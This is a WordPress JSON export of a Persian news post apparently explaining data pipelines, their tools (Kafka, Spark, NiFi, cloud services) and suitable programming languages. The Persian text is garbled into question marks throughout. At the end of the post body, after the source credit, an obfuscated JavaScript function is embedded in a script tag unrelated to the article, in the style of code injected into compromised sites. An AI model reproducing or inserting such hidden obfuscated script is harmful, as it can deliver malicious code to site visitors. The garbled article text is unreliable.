{"id":3957,"date":"2023-05-08T14:44:35","date_gmt":"2023-05-08T10:14:35","guid":{"rendered":"https:\/\/soroosheamniyat.ir\/?p=3957"},"modified":"2023-05-08T14:44:35","modified_gmt":"2023-05-08T10:14:35","slug":"data-pipeline-%da%86%db%8c%d8%b3%d8%aa-%d9%88-%da%86%d9%87-%da%a9%d8%a7%d8%b1%d8%a8%d8%b1%d8%af%db%8c-%d8%af%d8%b1-%d8%af%d9%86%db%8c%d8%a7%db%8c-%d9%87%d9%88%d8%b4-%d9%85%d8%b5%d9%86%d9%88%d8%b9","status":"publish","type":"post","link":"https:\/\/soroosheamniyat.ir\/?p=3957","title":{"rendered":"Data Pipeline \u0686\u06cc\u0633\u062a \u0648 \u0686\u0647 \u06a9\u0627\u0631\u0628\u0631\u062f\u06cc \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0647\u0648\u0634 \u0645\u0635\u0646\u0648\u0639\u06cc \u062f\u0627\u0631\u062f\u061f"},"content":{"rendered":"<div class=\"field field-name-field-summary field-type-text-long field-label-hidden\">\n<div class=\"field-items\">\n<div class=\"field-item even\" style=\"text-align: justify;\"><strong>?? ????? ??????? ?????? ???? ???? ????? <\/strong>?? ???? ??????? (Data Pipeline) ?? ?????? ?????????? ???? ?????? ?? ???? ????????? ?????? ????? ? ?????? ??????? ?? ??? ??????? ?? ????? ?? ????? ????? ?? ????? ???? ?????????? ??????? ????? ??????? ???. ?? ??? ?????? ???? ???? ??? ???? ?????? ??????? ?? ??????? ? ?????????? ??????? ?????? ?? ?? ?? ????? ?? ???????? ? ?????? ???????? ??????? ?? ??????? ?????? ?? ?? ????? ?? ????? ???? ????? ???????.<\/div>\n<\/div>\n<\/div>\n<div class=\"field field-name-ads-under-summery field-type-ds field-label-hidden\" style=\"text-align: justify;\">\n<div class=\"field-items\">\n<div class=\"field-item even\">\n<p class=\"rtecenter\">?? ?? <strong>Data Pipeline<\/strong>? ??????? ?????? ?? ????? ????? ????? ?????????? ????? ???????? ????????? ?? ? ???? ????? ???????? ???????. ???? ??? ??????? ?? ???? ?????? ?? ????? ?????? ????? ?????? ?????? ??????? ? ????? ??????? ?????? ???????. ?? ?????? ??????? ?? ????? ???? ??? ?????? ???? ??????? ?? ???? ??????? ?? ?????????? ??????? ? ???? ???????? ????? ???? ?????. ??????? ?? Data\u00a0<strong>Pipeline<\/strong>\u00a0?? ?????????? ???????? ?? ????? ?????? ? ??? ?? ???????? ? ?????? ??????? ? ?? ???? ???? ? ????? ???? ???? ???? ?????? ??????? ??? ??????.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"field field-name-body field-type-text-with-summary field-label-hidden\" style=\"text-align: justify;\">\n<div class=\"field-items\">\n<div class=\"field-item even\">\n<h2>?? ??? ????????? ???? ?????????? Data Pipeline ???? ?????<\/h2>\n<p>???? ??????????<strong>\u00a0Data Pipeline?<\/strong>\u00a0????????? ?? ??????? ? ????????? ????? ???? ???? ?? ?? ??? ??? ??????? ?? ??????? ?? ???????? ??? ?? ?????? ??? ???? ??????? ????. ???? ?? ??? ??????? ??????? ??:<\/p>\n<ol>\n<li>\u00a0Apache NiFi: ?? ????? ???? ??? ???? ????? ? ??????\u00a0<strong>Data Pipeline<\/strong>\u00a0???. ??? ????? ????? ????? ? ?????? ??????? ?? ?? ???? ?? ???? ??????? ?????? ???? ????? ??????.<\/li>\n<li>\u00a0Apache Kafka: ?? ????? ?????????? ????????? ???? ?????? ??????? ? ???????? ??? ???????? ???. ??? ????? ????? ????? ???? ?? ???? ???? ? ??????? ???? ?? ????? ??????.<\/li>\n<li>\u00a0Apache Spark: ?? ???????? ????? ??? ???? ?????? ???????? ???? ???. ??? ????? ????? ?????? ???????? ??????? ? ??????? ? ?????? ???????? ?? ????? ????? ??????? ?? ????? ??????.<\/li>\n<li>\u00a0AWS Data Pipeline:\u00a0?? ????? ??????\u00a0<strong>Data Pipeline<\/strong>\u00a0???? ??????? ?? Amazon Web Services ???. ??? ????? ????? ????? ? ??????<strong>\u00a0Data Pipeline<\/strong>\u00a0???? ?????? ? ?????? ??????? ?? ???? AWS ?? ????? ??????.<\/li>\n<li>\u00a0Microsoft Azure Data Factory: ?? ????? ??????<strong>\u00a0Data Pipeline<\/strong>\u00a0???? ??????? ?? ???? Microsoft Azure ???. ??? ????? ????? ????? ?????? ? ??????????\u00a0<strong>Data Pipeline<\/strong>\u00a0?? ???? ?????? ? ?????? ??????? ?? ???? Azure ????? ??????.<\/li>\n<li>\u00a0Google Cloud Dataflow: ?? ????? ?????? ???? ????? ??? ???? ??????? ?? Google Cloud ???. ??? ????? ????? ?????? ???????? Real-Time ? Batch ? ?????? ???????? ?? ????? ????? ??????? ?? ????? ??????.<\/li>\n<\/ol>\n<p>?? ?????? ????????? ????? Apache Airflow? Talend? StreamSets ? Pentaho ??? ?? ????? ???????? ??????\u00a0<strong>Data Pipeline<\/strong>\u00a0???? ?????. ?? ???? ?? ??? ??????? ????? ???????? ? ?????????? ?????? ????? ?? ???? ?? ???? ? ????? ?????? ????????? ?? ????? ??????? ????.<\/p>\n<h2>????? ??????? ???? ?????? ??????? ?? ?????????? ????<\/h2>\n<p>???? ?????????? ???? ?????? ??????? ? ?? ??? ????? ?????? ????? ????????? ?? ????????? ?????? ??????? ????. ?? ??? ?? ??? ?????? ??? ???? ?????????? ???? ?????? ??????? ????? ??????:<\/p>\n<ol>\n<li><strong>????? ???????????:<\/strong>\u00a0???? ?????????? ???? ?????? ???????? ????? ???? ???????????? ????? ?? ?????? ??????? ?? ?? ??? ????? ????. ????? ??????????? ?? ??? ??? ?????? ?? ?????? ?????? ?? ???? ?????? ??????? ???? ???? ? ?? ??? ??? ?????? ???? ?????? ??????? ?? ????? ????.<\/li>\n<li><strong>?????? ?????<\/strong>: ?????? ?????? ???? ????? ?????????? ? ?????????? ???. ???? ?????????? ???? ?????? ??????? ???? ?? ????? ?????????? ? ?????????? ????? ??????? ???? ?? ?????? ??????? ?? ???? ???? ? ?? ???? ???? ????? ???.<\/li>\n<li><strong>\u00a0?????????? ???????????<\/strong>: ???????????? ?????? ??????? ???? ?? ??????? ?????????? ???? ?? ???? ?????? ??????? ?????? ???? ? ?????? ????? ?? ??? ???? ??????? ?? ???? ????.<\/li>\n<li>\u00a0?<strong>?????? ?? ?????????? ???????<\/strong>: ??? ?????? ??????? ???? ?????????? ??????? ???? ??????? ???? ???????? ???? ?? ?????????? ??????? ????? Apache Kafka ? Apache Spark Streaming ??????? ???? ?? ????? ??????? ?? ???? ????? ????? ???.<\/li>\n<li><strong>??????? ? ??????????? ???? ?????? ???????:<\/strong>\u00a0???? ?????????? ???? ?????? ??????? ???? ????? ?????????? ??????? ?? ?????? ??? ????? ? ?? ??????? ?? ??????? ?????? ????? ??????????? ???????? ? ???????? ?????? ???????? ?? ????? ???? ?? ?????? ????? ??????? ??? ? ?????? ???? ?????? ??????? \u00a0????? ???? ???.<\/li>\n<li><strong>\u00a0??????? ?? ?????????? ???????<\/strong>: ?????????? ??????? ????? AWS\u00a0<strong>Data Pipeline<\/strong>? Azure Data Factory ? Google Cloud Dataflow ????????? ?? ??? ??? ???? ?? ?????? ???? ?????? ??????? ?? ????? ????? ????????? ????? ?? ????????? ?? ???? ???? ? ??????? ?? ?????? ????.<\/li>\n<\/ol>\n<p>?? ??? ?????????? ???? ?????? ??????? ??????? ????? ???? ???????????? ?????? ?????? ?????????? ??????????? ? ??????? ?? ??????? ?????? ???? ??????? ? ??????????? ???? ?????? ??????? ???.<\/p>\n<h2>??? ???? ?????? ??????? ???? ????? ????????? ????? ????<\/h2>\n<p>???? ?????? ??????? ???? ???? ????????? ????? ???? ??? ????? ????? ???? ?? ????? ?? ??????? ???? ?? ?????? ????. ???? ??????????? ?? ?? ??? ????? ?? ??????? ?????? ?????? ???? ?????? ??????? ????? ????? ???. ?? ???? ???????? ???????? ???? ??????? ???????? ?????? ???????? ????? ???????? ??? ? ??? ? ???? ?? ???? ?????? ??????? ???? ?????.<\/p>\n<p>?? ??????? ?? ???? ?????? ???????? ????????? ????????? ??????? ?? ?? ?? ???? ?????? ? ?????? ???? ?? ???? ??????? ?? ??????? ?????? ???? ? ?? ????? ???? ????? ???? ? ?????????????? ???? ??????? ????. ??????? ?? ??????? ?? ???? ?????? ??????? ????????? ????????? ?????? ??????? ?? ???? ???? ? ????? ?????? ????? ??? ?? ????? ????.<\/p>\n<p>????? ???? ?????? ??????? ???? ????? ?????????? ????? ?????? ?? ????????? ????? ???? ??? ?????????? ???? ? ????? ???? ?? ??? ???? ??? ???? ?? ?????????? ???? ?????? ??????? ???? ??? ?????????? ????? ?? ????????? ? ?????????? ????????? ????? ? ??????? ? ???? ?? ???? ????? ?? ????? ????? ????. ????????? ?? ??? ????? ???? ??? ???? ?? ??????? ?? ????????? ????? ?? ??? ???? ?????? ??????? ???? ????.<\/p>\n<h2>????? Data pipeline ?? ????? ?????<\/h2>\n<p>?????? ???? ???? ?????? ??????? ?????? ??? ?? ?????? ????? ?????? ??? ?? ?? ???????? ????? ?? ????? ??? ???? ????? ???:<\/p>\n<ol>\n<li>\u00a0<strong>????? ???????????:<\/strong>\u00a0???? ????? ???? ?????? ???????? ???? ???????????? ????? ?? ?????? ??????? ?? ?? ??? ????? ????. ??? ???? ????? ????? ???? ????? ????????? ?????? ???????? ???????????? ???? ??????? ? ???? ??????.<\/li>\n<li>\u00a0?<strong>???? ????? ??????????<\/strong>: ??? ?? ????? ???????????? ???? ????? ?????????? ???? ???? ???? ?????? ??????? ?? ????? ????. ??? ???? ????? ????? ??????? ???????????? ????????? ??????? ? ???? ???.<\/li>\n<li><strong>\u00a0?????? ???????? ???? ????<\/strong>: ???? ????? ???? ?????? ??????? ???? ?? ???????? ?????? ????? Apache Kafka? Apache Spark? Hadoop? Apache NiFi ? ???? ??????? ????. ???? ?????? ?????? ???????? ???? ????????? ?????? ???????? ????? ??????? ? ??????????? ???? ?? ?? ??? ??????.<\/li>\n<li><strong>????? ? ?????????? ???? ?????? ???????:<\/strong>\u00a0??? ?? ????? ???????????? ????? ?????????? ? ???????? ???? ????? ???? ?????? ????? ? ?????????? ???? ?????? ??????? ?? ???? ????. ?? ??? ?????? ???? ????? ?????? ???????? ?????? ??? ????????? ????? ? ?????? ??????? ?? ??????? ???? ? ?????????? ????.<\/li>\n<li><strong>??? ? ???????<\/strong>: ??? ?? ?????????? ???? ?????? ??????? ???? ?? ?? ??? ? ??????? ????. ???? ????? ???? ?? ????????? ?????? ??????? ?? ????? ????? ?????? ? ???????? ????? ???? ? ?????? ?????.<\/li>\n<li><strong>??????? ? ?????:<\/strong>\u00a0??? ?? ?????????? ???? ?????? ??????? ???? ?? ?? ??????? ? ????? ???? ? ?? ???? ??????? ????? ?????? ?? ??????? ? ????? ????.<\/li>\n<\/ol>\n<p>?? ??? ????? ???? ?????? ??????? ??????? ????? ???? ???????????? ????? ????? ??????????? ?????? ???????? ?????? ?????????? ? ??? ? ????? ????? ?? ???.<\/p>\n<h2>???????? ???????????? ????? ???? ???? ???? ?????? ???????<\/h2>\n<p>???? ?????????? ???? ?????? ??????? ????????? ?? ???????? ???????????? ?????? ??????? ????. ?? ????? ?? ???? ?? ????????? ?? ???? ?????????? ???? ?????? ??????? ????? ?????? ????? ???????:<\/p>\n<ol>\n<li><a href=\"https:\/\/karinsoo.com\/article\/521-12%20%D9%86%DA%A9%D8%AA%D9%87%20%D8%B4%D8%BA%D9%84%DB%8C%20%D8%A8%D8%B1%D8%A7%DB%8C%20%D8%A8%D8%B1%D9%86%D8%A7%D9%85%D9%87%E2%80%8C%D9%86%D9%88%DB%8C%D8%B3%D8%A7%D9%86%20%D9%BE%D8%A7%DB%8C%D8%AA%D9%88%D9%86-%D8%A8%D8%B1%D9%86%D8%A7%D9%85%D9%87%20%D9%86%D9%88%DB%8C%D8%B3%DB%8C\" target=\"_blank\" rel=\"noopener\">Python<\/a>:\u00a0 ?????? ??? ?? ?????????? ???????? ???????????? ??? ?? ???? ?????????? ???? ?????? ??????? ????? ????? ???. ?????? ????? ???????????? ?????? ???? ?????? ? ????? ??????? ??? ?? ?? ???? ????? ??????? ?? Pandas? NumPy? SciPy? Scikit-learn ? TensorFlow ????? ???.<\/li>\n<li><a href=\"https:\/\/karinsoo.com\/article\/196-%D8%A8%D8%B1%D9%86%D8%A7%D9%85%D9%87%E2%80%8C%D9%86%D9%88%DB%8C%D8%B3%20%D8%AC%D8%A7%D9%88%D8%A7%20%DA%A9%DB%8C%D8%B3%D8%AA%20%D9%88%20%DA%86%DA%AF%D9%88%D9%86%D9%87%20%D8%A8%D9%87%20%DB%8C%DA%A9%20%D8%A8%D8%B1%D9%86%D8%A7%D9%85%D9%87%E2%80%8C%D9%86%D9%88%DB%8C%D8%B3%20%D8%AC%D8%A7%D9%88%D8%A7%20%D8%AA%D8%A8%D8%AF%DB%8C%D9%84%20%D8%B4%D9%88%DB%8C%D9%85%D8%9F-%D9%85%D8%B4%D8%A7%D8%BA%D9%84%20%D8%A8%D8%B1%D9%86%D8%A7%D9%85%D9%87%E2%80%8C%D9%86%D9%88%DB%8C%D8%B3%DB%8C%20%D9%88%20%D9%86%D8%B1%D9%85%E2%80%8C%D8%A7%D9%81%D8%B2%D8%A7%D8%B1\" target=\"_blank\" rel=\"noopener\">Java<\/a>;\u00a0\u00a0???? ?? ???? ???????????? ??????? ??? ?? ???? ?????????? ???? ?????? ??????? ????? ???. Apache Hadoop ? Apache Spark ?? ???? ?????????? ????? ?? ?? ???? ???? ?????????? ???? ?????? ??????? ??????? ???????.<\/li>\n<li>Scala:\u00a0 ?????? ?? ???? ???????????? ???? ??? ?? ???? ?????????? ???? ?????? ??????? ????? ????? ???. Apache Spark ?? ???? ?????????? ??? ?? ?? ??????? ?? Scala ?????????? ??? ???.<\/li>\n<li><a href=\"https:\/\/karinsoo.com\/article\/376-%D8%AA%D9%88%D8%B3%D8%B9%D9%87%E2%80%8C%D8%AF%D9%87%D9%86%D8%AF%D9%87%20SQL%20%DA%A9%DB%8C%D8%B3%D8%AA%D8%9F-%D9%85%D8%B4%D8%A7%D8%BA%D9%84%20%D8%A8%D8%B1%D9%86%D8%A7%D9%85%D9%87%E2%80%8C%D9%86%D9%88%DB%8C%D8%B3%DB%8C%20%D9%88%20%D9%86%D8%B1%D9%85%E2%80%8C%D8%A7%D9%81%D8%B2%D8%A7%D8%B1\" target=\"_blank\" rel=\"noopener\">SQL<\/a>:\u00a0 ?? ???? ??????? ??? ?? ???? ?????? ??????? ?? ?????????????? ?? ??? ??????. ????????? ????? ??????????? ???? ?????? ???????? ???? ? ????????? ???.<\/li>\n<li><a href=\"https:\/\/karinsoo.com\/article\/362-%D8%A8%D8%B1%D9%86%D8%A7%D9%85%D9%87%E2%80%8C%D9%86%D9%88%DB%8C%D8%B3%20%D8%B2%D8%A8%D8%A7%D9%86%20Go%20%DA%A9%DB%8C%D8%B3%D8%AA%20%D9%88%20%DA%86%D9%87%20%D8%A8%D8%A7%D8%B2%D8%A7%D8%B1%20%DA%A9%D8%A7%D8%B1%DB%8C%20%D8%AF%D8%A7%D8%B1%D8%AF%D8%9F-%D9%85%D8%B4%D8%A7%D8%BA%D9%84%20%D8%A8%D8%B1%D9%86%D8%A7%D9%85%D9%87%E2%80%8C%D9%86%D9%88%DB%8C%D8%B3%DB%8C%20%D9%88%20%D9%86%D8%B1%D9%85%E2%80%8C%D8%A7%D9%81%D8%B2%D8%A7%D8%B1\" target=\"_blank\" rel=\"noopener\">Go<\/a>:\u00a0?? ???? ???????????? ???? ? ???? ??????? ??? ?? ???? ?????????? ???? ?????? ??????? ????? ???. ???? Go ????? ??????????? ???? ?????? ???????? ???? ???.<\/li>\n<\/ol>\n<p>?? ??? ?????? ???? ???????????? ????? ???? ?????????? ???? ?????? ??????? ????? ?? ??????????? ? ????? ???? ???? ????. ??? ?? ??????? ?? ?????? ? ???? ????? ????? ????? ? ?? ????? ???????? ???? ???? ?????????? ???? ?????? ??????? ???? ??????? ???? ????????? ??????? ?????? ?? ?? ??????? ?? ??? ?? ???? ???? ?? ?????????? ???? ?????? ??????? ????.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"field field-name-hot-news-in-content-page field-type-ds field-label-hidden\" style=\"text-align: justify;\">\n<div class=\"field-items\">\n<div class=\"field-item even\">\n<div id=\"block-views-hot-news-block\" class=\"block block-views hot-news hot-news\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"field-item even\" style=\"text-align: justify;\"><\/div>\n<div style=\"text-align: justify;\"><\/div>\n<div style=\"text-align: justify;\"><\/div>\n<div style=\"text-align: justify;\"><strong><br \/>\n??????? : ???? ??????<br \/>\n???? : <a href=\"https:\/\/www.shabakeh-mag.com\/workshop\/20707\/data-pipeline-%DA%86%DB%8C%D8%B3%D8%AA-%D9%88-%DA%86%D9%87-%DA%A9%D8%A7%D8%B1%D8%A8%D8%B1%D8%AF%DB%8C-%D8%AF%D8%B1-%D8%AF%D9%86%DB%8C%D8%A7%DB%8C-%D9%87%D9%88%D8%B4-%D9%85%D8%B5%D9%86%D9%88%D8%B9%DB%8C-%D8%AF%D8%A7%D8%B1%D8%AF%D8%9F\">???? ????<\/a><\/strong><\/div>\n<div style=\"text-align: justify;\"><\/div>\n<div style=\"text-align: justify;\"><\/div>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>?? ????? ??????? ?????? ???? ???? ????? ?? ???? ??????? (Data Pipeline) ?? ?????? ?????????? ???? ?????? ?? ???? ????????? ?????? ????? ? ?????? ??????? ?? ??? ??????? ?? ????? ?? ????? ????? ?? ????? ???? ?????????? ??????? ????? ??????? ???. ?? ??? ?????? ???? ???? ??? ???? ?????? ??????? ?? ??????? ? ?????????? ??????? &hellip;<\/p>\n","protected":false},"author":3,"featured_media":3958,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[764],"tags":[1295,1297,1296],"class_list":["post-3957","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-764","tag-data-pipeline","tag-data-pipeline-","tag-1296"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v20.4 (Yoast SEO v28.2) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>Data Pipeline \u0686\u06cc\u0633\u062a \u0648 \u0686\u0647 \u06a9\u0627\u0631\u0628\u0631\u062f\u06cc \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0647\u0648\u0634 \u0645\u0635\u0646\u0648\u0639\u06cc \u062f\u0627\u0631\u062f\u061f - \u067e\u0627\u06cc\u06af\u0627\u0647 \u062e\u0628\u0631\u06cc \u0633\u0631\u0648\u0634 \u0627\u0645\u0646\u06cc\u062a<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/soroosheamniyat.ir\/?p=3957\" \/>\n<meta property=\"og:locale\" content=\"fa_IR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Data Pipeline \u0686\u06cc\u0633\u062a \u0648 \u0686\u0647 \u06a9\u0627\u0631\u0628\u0631\u062f\u06cc \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0647\u0648\u0634 \u0645\u0635\u0646\u0648\u0639\u06cc \u062f\u0627\u0631\u062f\u061f\" \/>\n<meta property=\"og:description\" content=\"?? ????? ??????? ?????? ???? ???? ????? ?? ???? ??????? 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